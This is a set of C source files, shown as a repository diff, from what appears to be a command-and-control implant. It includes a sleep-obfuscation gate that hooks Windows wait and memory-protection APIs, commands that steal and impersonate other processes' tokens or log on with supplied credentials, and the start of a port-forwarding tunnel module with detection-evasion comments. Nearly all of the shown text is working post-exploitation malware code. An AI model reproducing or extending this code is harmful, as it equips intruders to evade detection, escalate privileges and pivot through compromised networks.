MmCopy( out + pos, jfx, 8 );
pos += 8;
pos += NaxUToStr( (UINT32)new_jitter, (PCHAR)out + pos );
out[pos++] = '%';
}
*out_len = pos;
return NAX_OK;
}
+270
View File
@@ -0,0 +1,270 @@
/* beacon/src/Commands/Sleepmask.c
* BeaconGate: gate wrappers, init (embedded BOF), runtime reload.
* All gate wrappers MUST be in the same TU as the code that takes their
* address - cross-TU references go through .refptr (GOT-like)
* which is lost when we extract .text for PIC. */
#include "Nax.h"
#include "Config.h"
#include "Bof.h"
#include "Gate.h"
typedef VOID (*FN_SM_ENTRY)( PVOID, PFUNCTION_CALL );
/* ========= [ helpers ] ========= */
FUNC static UINT32 NaxCountRunningJobs( PNAX_INSTANCE Nax ) {
UINT32 count = 0;
NAX_JOB* job = Nax->JobHead;
while ( job ) {
if ( job->State == NAX_JOB_RUNNING )
count++;
job = job->Next;
}
return count;
}
/* ========= [ gate wrappers ] ========= */
#ifdef NAX_GATE_SLEEP
FUNC VOID WINAPI NaxGateSleep( DWORD dwMilliseconds ) {
G_INSTANCE;
NaxDbg( Nax, "[gate] Sleep(%lu ms)", (UINT32)dwMilliseconds );
Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax );
FUNCTION_CALL fc;
MmZero( &fc, sizeof( fc ) );
fc.SmInfo = &Nax->SmInfo;
fc.FunctionPtr = Nax->GateOriginals.Sleep;
fc.GateApi = GATE_API_SLEEP;
fc.NumArgs = 1;
fc.Args[0] = (ULONG_PTR)dwMilliseconds;
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
}
#endif
#ifdef NAX_GATE_WAITFORSINGLEOBJECT
FUNC DWORD WINAPI NaxGateWaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds ) {
G_INSTANCE;
NaxDbg( Nax, "[gate] WaitForSingleObject(handle=%p wait=%lu ms)", hHandle, (UINT32)dwMilliseconds );
Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax );
FUNCTION_CALL fc;
MmZero( &fc, sizeof( fc ) );
fc.SmInfo = &Nax->SmInfo;
fc.FunctionPtr = Nax->GateOriginals.WaitForSingleObject;
fc.GateApi = GATE_API_WAIT_FOR_SINGLE_OBJECT;
fc.NumArgs = 2;
fc.Args[0] = (ULONG_PTR)hHandle;
fc.Args[1] = (ULONG_PTR)dwMilliseconds;
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
return (DWORD)fc.RetValue;
}
#endif
#ifdef NAX_GATE_WAITFORMULTIPLEOBJECTS
FUNC DWORD WINAPI NaxGateWaitForMultipleObjects( DWORD nCount, const HANDLE* lpHandles, BOOL bWaitAll, DWORD dwMilliseconds ) {
G_INSTANCE;
NaxDbg( Nax, "[gate] WaitForMultipleObjects(n=%lu wait=%lu ms)", (UINT32)nCount, (UINT32)dwMilliseconds );
Nax->SmInfo.ActiveJobCount = NaxCountRunningJobs( Nax );
FUNCTION_CALL fc;
MmZero( &fc, sizeof( fc ) );
fc.SmInfo = &Nax->SmInfo;
fc.FunctionPtr = Nax->GateOriginals.WaitForMultipleObjects;
fc.GateApi = GATE_API_WAIT_FOR_MULTIPLE_OBJECTS;
fc.NumArgs = 4;
fc.Args[0] = (ULONG_PTR)nCount;
fc.Args[1] = (ULONG_PTR)lpHandles;
fc.Args[2] = (ULONG_PTR)bWaitAll;
fc.Args[3] = (ULONG_PTR)dwMilliseconds;
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
return (DWORD)fc.RetValue;
}
#endif
#ifdef NAX_GATE_VIRTUALPROTECT
FUNC BOOL WINAPI NaxGateVirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) {
G_INSTANCE;
NaxDbg( Nax, "[gate] VirtualProtect(addr=%p size=%zu)", lpAddress, dwSize );
FUNCTION_CALL fc;
MmZero( &fc, sizeof( fc ) );
fc.SmInfo = &Nax->SmInfo;
fc.FunctionPtr = Nax->GateOriginals.VirtualProtect;
fc.GateApi = GATE_API_VIRTUAL_PROTECT;
fc.NumArgs = 4;
fc.Args[0] = (ULONG_PTR)lpAddress;
fc.Args[1] = (ULONG_PTR)dwSize;
fc.Args[2] = (ULONG_PTR)flNewProtect;
fc.Args[3] = (ULONG_PTR)lpflOldProtect;
((FN_SM_ENTRY)Nax->Gate)( Nax, &fc );
return (BOOL)fc.RetValue;
}
#endif
/* ========= [ gate swap table ] ========= */
FUNC static VOID NaxGateRegister( PNAX_INSTANCE Nax, PVOID* slot, PVOID gateFunc ) {
if ( Nax->GateSwaps.Count >= NAX_GATE_MAX_SWAPS ) return;
NAX_GATE_SWAP* e = &Nax->GateSwaps.Entries[Nax->GateSwaps.Count++];
e->Slot = slot;
e->Original = *slot;
*slot = gateFunc;
}
FUNC VOID NaxGateUnwireAll( PNAX_INSTANCE Nax ) {
for ( UINT32 i = 0; i < Nax->GateSwaps.Count; i++ )
*Nax->GateSwaps.Entries[i].Slot = Nax->GateSwaps.Entries[i].Original;
Nax->GateSwaps.Count = 0;
Nax->Gate = NULL;
}
/* ========= [ shared: load BOF + wire gate ] ========= */
FUNC INT NaxSleepmaskWire( PNAX_INSTANCE Nax, PBYTE coff, UINT32 coff_size ) {
CHAR sym[] = { 's','l','e','e','p','_','m','a','s','k','\0' };
PVOID entry = NaxBofLoadResident( Nax, coff, coff_size, sym );
if ( !entry ) {
NaxDbg( Nax, "[sleepmask] load failed" );
return NAX_ERR_FAIL;
}
Nax->Gate = entry;
Nax->GateSwaps.Count = 0;
/* Record sleepmask region for sleep obfuscation */
if ( Nax->Ntdll.NtQueryVirtualMemory ) {
MEMORY_BASIC_INFORMATION sm_mbi;
MmZero( &sm_mbi, sizeof( sm_mbi ) );
if ( Nax->Ntdll.NtQueryVirtualMemory( NtCurrentProcess(), entry, 0, &sm_mbi, sizeof( sm_mbi ), NULL ) == 0 ) {
Nax->SmInfo.SmBase = sm_mbi.AllocationBase;
Nax->SmInfo.SmSize = (UINT32)sm_mbi.RegionSize;
NaxDbg( Nax, "[sleepmask] sm region: base=%p size=0x%x", Nax->SmInfo.SmBase, Nax->SmInfo.SmSize );
}
}
if ( Nax->CfgEnabled && Nax->BofStompPool.SmSlot.DllBase )
NaxCfgAddTarget( Nax, Nax->BofStompPool.SmSlot.DllBase, entry );
#ifdef NAX_GATE_SLEEP
if ( !Nax->GateOriginals.Sleep )
Nax->GateOriginals.Sleep = (PVOID)Nax->Kernel32.Sleep;
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.Sleep, (PVOID)NaxGateSleep );
NaxDbg( Nax, "[sleepmask] gated: Sleep (real=%p)", Nax->GateOriginals.Sleep );
#endif
#ifdef NAX_GATE_WAITFORSINGLEOBJECT
if ( !Nax->GateOriginals.WaitForSingleObject )
Nax->GateOriginals.WaitForSingleObject = (PVOID)Nax->Kernel32.WaitForSingleObject;
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.WaitForSingleObject, (PVOID)NaxGateWaitForSingleObject );
NaxDbg( Nax, "[sleepmask] gated: WaitForSingleObject (real=%p)", Nax->GateOriginals.WaitForSingleObject );
#endif
#ifdef NAX_GATE_WAITFORMULTIPLEOBJECTS
if ( !Nax->GateOriginals.WaitForMultipleObjects )
Nax->GateOriginals.WaitForMultipleObjects = (PVOID)Nax->Kernel32.WaitForMultipleObjects;
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.WaitForMultipleObjects, (PVOID)NaxGateWaitForMultipleObjects );
NaxDbg( Nax, "[sleepmask] gated: WaitForMultipleObjects (real=%p)", Nax->GateOriginals.WaitForMultipleObjects );
#endif
#ifdef NAX_GATE_VIRTUALPROTECT
if ( !Nax->GateOriginals.VirtualProtect )
Nax->GateOriginals.VirtualProtect = (PVOID)Nax->Kernel32.VirtualProtect;
NaxGateRegister( Nax, (PVOID*)&Nax->Kernel32.VirtualProtect, (PVOID)NaxGateVirtualProtect );
NaxDbg( Nax, "[sleepmask] gated: VirtualProtect (real=%p)", Nax->GateOriginals.VirtualProtect );
#endif
NaxDbg( Nax, "[sleepmask] wired: gate=%p", entry );
return NAX_OK;
}
/* ========= [ NaxSleepmaskInit - load embedded BOF at startup ] ========= */
FUNC INT NaxSleepmaskInit( PNAX_INSTANCE Nax ) {
#ifdef NAX_SLEEPMASK_LEN
NaxDbg( Nax, "[sleepmask] init: embedding %u bytes", (UINT32)NAX_SLEEPMASK_LEN );
PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_SLEEPMASK_LEN );
if ( !buf ) {
NaxDbg( Nax, "[sleepmask] init: alloc failed" );
return NAX_ERR_FAIL;
}
NAX_SLEEPMASK_WRITE( buf );
/* Persist a copy so runtime SmSlot DLL changes can re-wire */
Nax->SmBofCache = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_SLEEPMASK_LEN );
if ( Nax->SmBofCache ) {
MmCopy( Nax->SmBofCache, buf, NAX_SLEEPMASK_LEN );
Nax->SmBofCacheLen = NAX_SLEEPMASK_LEN;
}
INT rc = NaxSleepmaskWire( Nax, buf, NAX_SLEEPMASK_LEN );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, buf );
return rc;
#else
return NAX_OK;
#endif
}
/* ========= [ CMD_SLEEPMASK_SET - runtime reload via task ] ========= */
FUNC INT NaxCmdSleepmaskSet( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
*out_len = 0;
if ( args_len < 4 )
return NAX_ERR_WIRE;
UINT32 coff_size = NaxR32( args );
if ( coff_size == 0 || coff_size > args_len - 4 )
return NAX_ERR_WIRE;
PBYTE coff = args + 4;
/* Update cache so SmSlot DLL changes can re-wire later */
if ( Nax->SmBofCache )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->SmBofCache );
Nax->SmBofCache = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, coff_size );
if ( Nax->SmBofCache ) {
MmCopy( Nax->SmBofCache, coff, coff_size );
Nax->SmBofCacheLen = coff_size;
}
return NaxSleepmaskWire( Nax, coff, coff_size );
}
/* ========= [ CMD_SLEEPOBF_CONFIG - runtime sleep obfuscation toggle ] ========= */
FUNC INT NaxCmdSleepObfConfig( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 2 )
return NAX_ERR_WIRE;
Nax->SmInfo.Config.SleepObf = args[0];
NaxDbg( Nax, "[sleepobf] config: sleep_obf=%u", Nax->SmInfo.Config.SleepObf );
out[0] = Nax->SmInfo.Config.SleepObf;
out[1] = 0;
*out_len = 2;
return NAX_OK;
}
+416
View File
@@ -0,0 +1,416 @@
#include "Macros.h"
#include "Instance.h"
#include "Common.h"
/* ========= [ forward declarations (Packer.c) ] ========= */
FUNC VOID NaxW16( PBYTE p, UINT16 v );
FUNC VOID NaxW32( PBYTE p, UINT32 v );
FUNC UINT32 NaxR32( const PBYTE p );
/* ========= [ helpers ] ========= */
static UINT32 NaxTokenNextId( PNAX_INSTANCE Nax ) {
UINT32 id = 1;
for ( ;; id++ ) {
NAX_TOKEN_NODE* cur = Nax->TokenHead;
BOOL found = FALSE;
while ( cur ) {
if ( cur->TokenId == id ) { found = TRUE; break; }
cur = cur->Next;
}
if ( !found ) return id;
}
}
static BOOL NaxTokenResolveUser( PNAX_INSTANCE Nax, HANDLE hToken, PCHAR user, DWORD* userLen, PCHAR domain, DWORD* domainLen ) {
if ( !hToken || !Nax->Advapi32.GetTokenInformation || !Nax->Advapi32.LookupAccountSidA )
return FALSE;
DWORD tokenInfoSize = 0;
Nax->Advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &tokenInfoSize );
if ( tokenInfoSize == 0 ) return FALSE;
PVOID tokenInfo = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize );
if ( !tokenInfo ) return FALSE;
BOOL result = FALSE;
if ( Nax->Advapi32.GetTokenInformation( hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize ) ) {
SID_NAME_USE sidType;
result = Nax->Advapi32.LookupAccountSidA( NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, user, userLen, domain, domainLen, &sidType );
}
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, tokenInfo );
return result;
}
static NAX_TOKEN_NODE* NaxTokenAdd( PNAX_INSTANCE Nax, HANDLE hToken, UINT32 sourcePid ) {
NAX_TOKEN_NODE* node = (NAX_TOKEN_NODE*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_TOKEN_NODE ) );
if ( !node ) return NULL;
MmZero( node, sizeof( NAX_TOKEN_NODE ) );
node->Handle = hToken;
node->TokenId = NaxTokenNextId( Nax );
node->SourcePid = sourcePid;
node->Next = NULL;
DWORD userLen = sizeof( node->User ) - 1;
DWORD domainLen = sizeof( node->Domain ) - 1;
NaxTokenResolveUser( Nax, hToken, node->User, &userLen, node->Domain, &domainLen );
if ( !Nax->TokenHead ) {
Nax->TokenHead = node;
} else {
NAX_TOKEN_NODE* tail = Nax->TokenHead;
while ( tail->Next ) tail = tail->Next;
tail->Next = node;
}
return node;
}
static NAX_TOKEN_NODE* NaxTokenFindById( PNAX_INSTANCE Nax, UINT32 tokenId ) {
NAX_TOKEN_NODE* cur = Nax->TokenHead;
while ( cur ) {
if ( cur->TokenId == tokenId ) return cur;
cur = cur->Next;
}
return NULL;
}
static BOOL NaxTokenRemove( PNAX_INSTANCE Nax, UINT32 tokenId ) {
NAX_TOKEN_NODE* cur = Nax->TokenHead;
NAX_TOKEN_NODE* prev = NULL;
while ( cur ) {
if ( cur->TokenId == tokenId ) {
if ( prev ) prev->Next = cur->Next;
else Nax->TokenHead = cur->Next;
if ( cur->Handle ) Nax->Ntdll.NtClose( cur->Handle );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cur );
return TRUE;
}
prev = cur;
cur = cur->Next;
}
return FALSE;
}
/* Write a length-prefixed string: len(2LE) + bytes. Returns bytes written. */
static UINT32 WriteLenStr( PBYTE p, const PCHAR s ) {
UINT32 len = 0;
if ( s ) { PCHAR t = (PCHAR)s; while ( *t ) { len++; t++; } }
NaxW16( p, (UINT16)len );
if ( len > 0 ) MmCopy( p + 2, s, len );
return 2 + len;
}
/* ========= [ CMD_TOKEN_GETUID (0x50) ] ========= */
FUNC INT CmdTokenGetUid( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
HANDLE hToken = NULL;
if ( Nax->Advapi32.OpenThreadToken )
Nax->Advapi32.OpenThreadToken( (HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken );
if ( !hToken )
Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &hToken );
if ( !hToken ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
CHAR user[128]; MmZero( user, sizeof( user ) );
CHAR domain[128]; MmZero( domain, sizeof( domain ) );
DWORD userLen = sizeof( user ) - 1;
DWORD domainLen = sizeof( domain ) - 1;
if ( !NaxTokenResolveUser( Nax, hToken, user, &userLen, domain, &domainLen ) ) {
Nax->Ntdll.NtClose( hToken );
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
struct { DWORD TokenIsElevated; } elev;
DWORD elevSize = sizeof( elev );
BYTE elevated = 0;
if ( Nax->Advapi32.GetTokenInformation( hToken, (TOKEN_INFORMATION_CLASS)20, &elev, sizeof( elev ), &elevSize ) )
elevated = elev.TokenIsElevated ? 1 : 0;
Nax->Ntdll.NtClose( hToken );
UINT32 pos = 0;
pos += WriteLenStr( out + pos, user );
pos += WriteLenStr( out + pos, domain );
out[pos++] = elevated;
*out_len = pos;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_STEAL (0x51) ] ========= */
FUNC INT CmdTokenSteal( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 5 ) return NAX_ERR_INVAL;
UINT32 pid = NaxR32( args );
BYTE impersonate = args[4];
OBJECT_ATTRIBUTES oa;
MmZero( &oa, sizeof( oa ) );
oa.Length = sizeof( OBJECT_ATTRIBUTES );
CLIENT_ID cid;
MmZero( &cid, sizeof( cid ) );
cid.UniqueProcess = (HANDLE)(UINT_PTR)pid;
HANDLE hProcess = NULL;
NTSTATUS ns = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid );
if ( !NT_SUCCESS( ns ) ) {
ns = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_QUERY_INFORMATION, &oa, &cid );
if ( !NT_SUCCESS( ns ) ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
}
HANDLE hToken = NULL;
ns = Nax->Ntdll.NtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken );
Nax->Ntdll.NtClose( hProcess );
if ( !NT_SUCCESS( ns ) || !hToken ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
HANDLE hDup = NULL;
BOOL duped = FALSE;
if ( Nax->Advapi32.DuplicateTokenEx ) {
duped = Nax->Advapi32.DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDup );
}
if ( duped && hDup ) {
Nax->Ntdll.NtClose( hToken );
hToken = hDup;
}
NAX_TOKEN_NODE* node = NaxTokenAdd( Nax, hToken, pid );
if ( !node ) {
Nax->Ntdll.NtClose( hToken );
return NAX_ERR_NOMEM;
}
if ( impersonate && Nax->Advapi32.ImpersonateLoggedOnUser ) {
Nax->Advapi32.ImpersonateLoggedOnUser( hToken );
}
UINT32 pos = 0;
NaxW32( out + pos, node->TokenId ); pos += 4;
pos += WriteLenStr( out + pos, node->User );
pos += WriteLenStr( out + pos, node->Domain );
out[pos++] = impersonate;
*out_len = pos;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_USE (0x52) ] ========= */
FUNC INT CmdTokenUse( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 4 ) return NAX_ERR_INVAL;
UINT32 tokenId = NaxR32( args );
NAX_TOKEN_NODE* node = NaxTokenFindById( Nax, tokenId );
if ( !node ) {
*out_len = 0;
return NAX_ERR_FAIL;
}
if ( !Nax->Advapi32.ImpersonateLoggedOnUser || !Nax->Advapi32.ImpersonateLoggedOnUser( node->Handle ) ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
UINT32 pos = 0;
pos += WriteLenStr( out + pos, node->User );
pos += WriteLenStr( out + pos, node->Domain );
*out_len = pos;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_LIST (0x53) ] ========= */
FUNC INT CmdTokenList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
UINT32 cap = *out_len;
UINT32 pos = 4;
UINT32 count = 0;
NAX_TOKEN_NODE* cur = Nax->TokenHead;
while ( cur && pos + 12 < cap ) {
NaxW32( out + pos, cur->TokenId ); pos += 4;
NaxW32( out + pos, cur->SourcePid ); pos += 4;
pos += WriteLenStr( out + pos, cur->User );
pos += WriteLenStr( out + pos, cur->Domain );
count++;
cur = cur->Next;
}
NaxW32( out, count );
*out_len = pos;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_RM (0x54) ] ========= */
FUNC INT CmdTokenRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 4 ) return NAX_ERR_INVAL;
UINT32 tokenId = NaxR32( args );
if ( !NaxTokenRemove( Nax, tokenId ) ) {
*out_len = 0;
return NAX_ERR_FAIL;
}
*out_len = 0;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_REVERT (0x55) ] ========= */
FUNC INT CmdTokenRevert( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
if ( !Nax->Advapi32.RevertToSelf || !Nax->Advapi32.RevertToSelf() ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
*out_len = 0;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_MAKE (0x56) ] ========= */
FUNC INT CmdTokenMake( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
if ( args_len < 16 || !Nax->Advapi32.LogonUserA ) return NAX_ERR_INVAL;
UINT32 off = 0;
DWORD logonType = NaxR32( args + off ); off += 4;
UINT32 domainLen = NaxR32( args + off ); off += 4;
if ( off + domainLen > args_len ) return NAX_ERR_INVAL;
PCHAR domainRaw = (PCHAR)( args + off ); off += domainLen;
if ( off + 4 > args_len ) return NAX_ERR_INVAL;
UINT32 userLen = NaxR32( args + off ); off += 4;
if ( off + userLen > args_len ) return NAX_ERR_INVAL;
PCHAR userRaw = (PCHAR)( args + off ); off += userLen;
if ( off + 4 > args_len ) return NAX_ERR_INVAL;
UINT32 passLen = NaxR32( args + off ); off += 4;
if ( off + passLen > args_len ) return NAX_ERR_INVAL;
PCHAR passRaw = (PCHAR)( args + off );
PCHAR domain = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, domainLen + 1 );
PCHAR user = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, userLen + 1 );
PCHAR password = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, passLen + 1 );
if ( !domain || !user || !password ) {
if ( domain ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, domain );
if ( user ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, user );
if ( password ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, password );
return NAX_ERR_NOMEM;
}
MmCopy( domain, domainRaw, domainLen ); domain[domainLen] = '\0';
MmCopy( user, userRaw, userLen ); user[userLen] = '\0';
MmCopy( password, passRaw, passLen ); password[passLen] = '\0';
HANDLE hToken = NULL;
BOOL ok = Nax->Advapi32.LogonUserA( user, domain, password, logonType, LOGON32_PROVIDER_DEFAULT, &hToken );
MmZero( password, passLen );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, password );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, user );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, domain );
if ( !ok || !hToken ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
NAX_TOKEN_NODE* node = NaxTokenAdd( Nax, hToken, 0 );
if ( !node ) {
Nax->Ntdll.NtClose( hToken );
return NAX_ERR_NOMEM;
}
UINT32 pos = 0;
NaxW32( out + pos, node->TokenId ); pos += 4;
pos += WriteLenStr( out + pos, node->User );
pos += WriteLenStr( out + pos, node->Domain );
*out_len = pos;
return NAX_OK;
}
/* ========= [ CMD_TOKEN_PRIVS (0x57) ] ========= */
FUNC INT CmdTokenPrivs( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
HANDLE hToken = NULL;
if ( Nax->Advapi32.OpenThreadToken )
Nax->Advapi32.OpenThreadToken( (HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken );
if ( !hToken )
Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &hToken );
if ( !hToken ) {
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
DWORD tokenInfoSize = 0;
Nax->Advapi32.GetTokenInformation( hToken, TokenPrivileges, NULL, 0, &tokenInfoSize );
if ( tokenInfoSize == 0 ) {
Nax->Ntdll.NtClose( hToken );
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
PVOID privBuf = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize );
if ( !privBuf ) {
Nax->Ntdll.NtClose( hToken );
return NAX_ERR_NOMEM;
}
if ( !Nax->Advapi32.GetTokenInformation( hToken, TokenPrivileges, privBuf, tokenInfoSize, &tokenInfoSize ) ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, privBuf );
Nax->Ntdll.NtClose( hToken );
NaxWriteWin32Err( out, out_len );
return NAX_ERR_FAIL;
}
PTOKEN_PRIVILEGES tp = (PTOKEN_PRIVILEGES)privBuf;
UINT32 cap = *out_len;
UINT32 pos = 4;
UINT32 count = 0;
for ( DWORD i = 0; i < tp->PrivilegeCount && pos + 40 < cap; i++ ) {
CHAR name[64]; MmZero( name, sizeof( name ) );
DWORD nameLen = sizeof( name ) - 1;
if ( !Nax->Advapi32.LookupPrivilegeNameA || !Nax->Advapi32.LookupPrivilegeNameA( NULL, &tp->Privileges[i].Luid, name, &nameLen ) )
continue;
UINT32 slen = 0;
while ( name[slen] ) slen++;
NaxW16( out + pos, (UINT16)slen ); pos += 2;
MmCopy( out + pos, name, slen ); pos += slen;
NaxW32( out + pos, tp->Privileges[i].Attributes ); pos += 4;
count++;
}
NaxW32( out, count );
*out_len = pos;
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, privBuf );
Nax->Ntdll.NtClose( hToken );
return NAX_OK;
}
+675
View File
@@ -0,0 +1,675 @@
/* beacon/src/Commands/Tunnel.c
* lportfwd + rportfwd tunnel support.
* ws2_32 loaded lazily on first tunnel command (OPSEC). */
#include "Nax.h"
/* inline NaxFdIsSet replacement - avoids linking __WSAFDIsSet from ws2_32 */
static __inline BOOL NaxFdIsSet( UINT_PTR s, fd_set* set ) {
for ( unsigned int i = 0; i < set->fd_count; i++ ) {
if ( set->fd_array[i] == (SOCKET)s )
return TRUE;
}
return FALSE;
}
/* ========= [ ws2_32 lazy loader ] ========= */
FUNC BOOL NaxEnsureWs2( PNAX_INSTANCE Nax ) {
if ( Nax->Ws2.Loaded )
return TRUE;
PVOID hWs2 = NaxGetModule( H_WS2_32_DLL );
if ( !hWs2 ) {
WCHAR ws2Name[] = { 'w','s','2','_','3','2','.','d','l','l', 0 };
hWs2 = C_PTR( Nax->Kernel32.LoadLibraryW( ws2Name ) );
if ( !hWs2 )
return FALSE;
}
Nax->Ws2.WSAStartup = NaxGetProc( hWs2, H_WSASTARTUP );
Nax->Ws2.WSACleanup = NaxGetProc( hWs2, H_WSACLEANUP );
Nax->Ws2.WSAGetLastError = NaxGetProc( hWs2, H_WSAGETLASTERROR );
Nax->Ws2.socket = NaxGetProc( hWs2, H_SOCKET_FN );
Nax->Ws2.closesocket = NaxGetProc( hWs2, H_CLOSESOCKET );
Nax->Ws2.connect = NaxGetProc( hWs2, H_CONNECT_FN );
Nax->Ws2.bind = NaxGetProc( hWs2, H_BIND_FN );
Nax->Ws2.listen = NaxGetProc( hWs2, H_LISTEN_FN );
Nax->Ws2.accept = NaxGetProc( hWs2, H_ACCEPT_FN );
Nax->Ws2.send = NaxGetProc( hWs2, H_SEND_FN );
Nax->Ws2.recv = NaxGetProc( hWs2, H_RECV_FN );
Nax->Ws2.select = NaxGetProc( hWs2, H_SELECT_FN );
Nax->Ws2.ioctlsocket = NaxGetProc( hWs2, H_IOCTLSOCKET );
Nax->Ws2.htons = NaxGetProc( hWs2, H_HTONS );
Nax->Ws2.ntohs = NaxGetProc( hWs2, H_NTOHS );
Nax->Ws2.inet_addr = NaxGetProc( hWs2, H_INET_ADDR );
Nax->Ws2.gethostbyname = NaxGetProc( hWs2, H_GETHOSTBYNAME );
Nax->Ws2.setsockopt = NaxGetProc( hWs2, H_SETSOCKOPT );
Nax->Ws2.shutdown = NaxGetProc( hWs2, H_SHUTDOWN_FN );
Nax->Ws2.WSACreateEvent = NaxGetProc( hWs2, H_WSACREATEEVENT );
Nax->Ws2.WSACloseEvent = NaxGetProc( hWs2, H_WSACLOSEEVENT );
Nax->Ws2.WSAEventSelect = NaxGetProc( hWs2, H_WSAEVENTSELECT );
Nax->Ws2.WSAResetEvent = NaxGetProc( hWs2, H_WSARESETEVENT );
Nax->Ws2.WSAEnumNetworkEvents = NaxGetProc( hWs2, H_WSAENUMNETWORKEVENTS );
if ( !Nax->Ws2.socket || !Nax->Ws2.connect || !Nax->Ws2.send ||
!Nax->Ws2.recv || !Nax->Ws2.select || !Nax->Ws2.closesocket )
return FALSE;
WSADATA wsaData;
MmZero( &wsaData, sizeof( wsaData ) );
if ( Nax->Ws2.WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0 )
return FALSE;
Nax->Ws2.Loaded = TRUE;
return TRUE;
}
/* ========= [ tunnel list helpers ] ========= */
FUNC NAX_TUNNEL* NaxTunnelFind( PNAX_INSTANCE Nax, UINT32 channelId ) {
NAX_TUNNEL* t = Nax->TunnelHead;
while ( t ) {
if ( t->ChannelId == channelId )
return t;
t = t->Next;
}
return NULL;
}
FUNC NAX_TUNNEL* NaxTunnelAlloc( PNAX_INSTANCE Nax, UINT32 channelId ) {
NAX_TUNNEL* t = C_PTR( Nax->Ntdll.RtlAllocateHeap(
Nax->Heap, 0x08, sizeof( NAX_TUNNEL ) ) );
if ( !t )
return NULL;
MmZero( t, sizeof( NAX_TUNNEL ) );
t->ChannelId = channelId;
t->Next = Nax->TunnelHead;
Nax->TunnelHead = t;
return t;
}
FUNC VOID NaxTunnelRemove( PNAX_INSTANCE Nax, NAX_TUNNEL* target ) {
NAX_TUNNEL** pp = &Nax->TunnelHead;
while ( *pp ) {
if ( *pp == target ) {
*pp = target->Next;
if ( target->WriteBuf )
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, target->WriteBuf );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, target );
return;
}
pp = &(*pp)->Next;
}
}
/* ========= [ WSAEvent helpers for WFMO integration ] ========= */
FUNC VOID NaxTunnelRegisterSocket( PNAX_INSTANCE Nax, UINT_PTR sock, long events ) {
